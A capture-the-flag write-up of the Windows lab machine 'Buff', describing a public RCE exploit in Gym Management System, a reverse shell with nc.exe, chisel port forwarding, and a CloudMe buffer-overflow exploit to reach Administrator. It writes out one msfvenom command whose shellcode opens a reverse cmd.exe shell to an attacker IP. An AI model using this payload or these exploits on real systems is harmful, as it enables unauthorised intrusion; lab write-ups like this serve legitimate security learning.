Summary

Buff,a windows box created by egotisticalSW was an easy box. Everything was about finding a CVE and using that to get to next step. Initial foothold was finding a CVE in Gym Management System which gave us a RCE as user of the box. Later we discover Cloudme was running internally so we port forward that using chisel and using another CVE we get a shell as Administrator.

Initial Scan show only Port 8080 is open

Viewing the website

we see this is some kind of Gym related website manually poking the site more i saw Made using on Contact page

Checking searchsploit/exploit-db i found an Unauthenticated Remote Code Execution for that.

and that gave me a web-shell on the box as user shaun and we can read user.txt

we can upload and get a reverse shell using nc.exe

Privilege Escalation

Enumerating the box manually i saw Cloudme in Download directory.

just to confirm if that is running i checked the port in netstat

we see that it is running internally on port 8888

and checking searchsploit we see exploit for that using 48389

Lets port forward the port to my machine so i can use run the exploit.

I used chisel to do that.

On my local system I ran chisel as server in reverse mode

and ran

to forward the port.

To get the exploit to give me a reverse shell i modified the exploit with a shell code to get me Shell.

I generated the shell code using

msfvenom -a x86 -p windows/exec CMD=\"C:\\xampp\\htdocs\\gym\\upload\\nc.exe 10.10.10.X 4444 -e cmd.exe\" -b '\x00\x0A\x0D' -f base64"

and ran the exploit to get a Administrator shell.

and we have pwned Buff 💃
